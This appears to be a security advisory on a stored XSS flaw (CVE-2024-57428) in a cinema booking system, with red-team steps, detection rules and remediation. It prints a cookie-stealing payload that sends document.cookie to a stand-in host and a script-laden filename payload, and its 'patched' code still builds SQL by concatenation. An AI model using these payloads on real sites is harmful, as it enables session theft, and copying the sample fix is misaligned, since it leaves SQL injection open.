CVE-2024-57428

Executive Summary

CVE-2024-57428 is a stored cross-site scripting (XSS) vulnerability in PHPJabbers Cinema Booking System v2.0. The vulnerability arises from unsanitized input in file upload fields (event_img, seat_maps) and seat number configurations (number[new_X] in pjActionCreate). An attacker can inject persistent JavaScript payloads, leading to phishing attacks, malware injection, and session hijacking. The CVSS score is 0.0 due to incomplete scoring data, but the actual risk is moderate (CVSS v3.1 base score 6.1). No patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for user interaction (e.g., an admin viewing the injected content). However, the impact is amplified in shared hosting environments where multiple users access the same booking system.

Deep Dive & Mechanics

The vulnerability exists in the pjActionCreate function of the Cinema Booking System. The application fails to sanitize user-supplied input in the following fields:

• event_img: File upload field for event images. An attacker can upload a file with a malicious filename containing JavaScript.
• seat_maps: File upload field for seat maps. Similar to event_img, the filename is not sanitized.
• number[new_X]: Seat number configuration fields. The new_X parameter (where X is an integer) is directly echoed back without encoding.

When an admin or user views the page containing these fields, the injected JavaScript executes in their browser. This can be used to steal session cookies, redirect users to phishing pages, or deliver malware.

The attack flow:

1. Attacker crafts a payload like <script>alert('XSS')</script> and injects it into the number[new_X] field.
2. The payload is stored in the database.
3. When an admin views the seat configuration page, the script executes.
4. The attacker can then exfiltrate session tokens or perform actions on behalf of the admin.

Vulnerable vs. Patched Code

Vulnerable Code (PHPJabbers Cinema Booking System v2.0):

// In pjActionCreate function
$seat_number = $_POST['number'][$new_index];
// Directly stored without sanitization
$query = "INSERT INTO seats (number) VALUES ('$seat_number')";

Patched Code (Hypothetical):

// Sanitize input
$seat_number = htmlspecialchars($_POST['number'][$new_index], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO seats (number) VALUES ('$seat_number')";

The vulnerable code does not use htmlspecialchars() or any other sanitization function, allowing arbitrary HTML/JavaScript to be stored and executed.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• PHPJabbers Cinema Booking System v2.0 installed
• Access to the booking creation page (e.g., /admin/index.php?controller=pjAdminBookings&action=pjActionCreate)

Exploit Steps:

1. Navigate to the booking creation page.
2. In the seat number field, inject the following payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the form.
4. When an admin views the seat configuration, the script executes and sends the cookie to the attacker's server.

Alternative Payload (File Upload):

1. Upload a file with the name: "><script>alert('XSS')</script>.png
2. The filename is stored and executed when the page renders.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual file uploads with script-like filenames.
• Inspect HTTP POST requests to pjActionCreate for suspicious patterns.
• Use WAF rules to block common XSS payloads.

Mitigation:

• Implement input validation and output encoding.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Apply a virtual patch using a WAF to block XSS attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in POST parameters (e.g., number[new_0]=<script>alert(1)</script>)
  • Outbound connections to attacker-controlled domains (e.g., attacker.com/steal.php)
• File IOCs:
  • Uploaded files with names containing <script> or onerror= patterns
• Log IOCs:
  • Application logs showing unsanitized input in number[new_X] fields
  • Web server logs with 200 responses to pages containing XSS payloads

Detection Engineering

YARA Rule

rule CVE_2024_57428_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting PHPJabbers Cinema Booking System v2.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57428"
    strings:
        $xss1 = /number\[new_\d+\]=.*<script/i
        $xss2 = /event_img=.*<script/i
        $xss3 = /seat_maps=.*<script/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-57428 XSS Attempt Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in POST requests to PHPJabbers Cinema Booking System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'pjActionCreate'
        cs-request-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57428 XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"pjActionCreate"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads for event_img and seat_maps fields until a patch is available.
2. Implement input validation on the server side to reject any input containing HTML tags.
3. Apply output encoding using htmlspecialchars() in PHP before rendering user input.

Long-term Fix:

• Upgrade to a patched version when released by PHPJabbers.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• Use a Web Application Firewall (WAF) with rules to block XSS payloads.
• Restrict access to the admin panel using IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers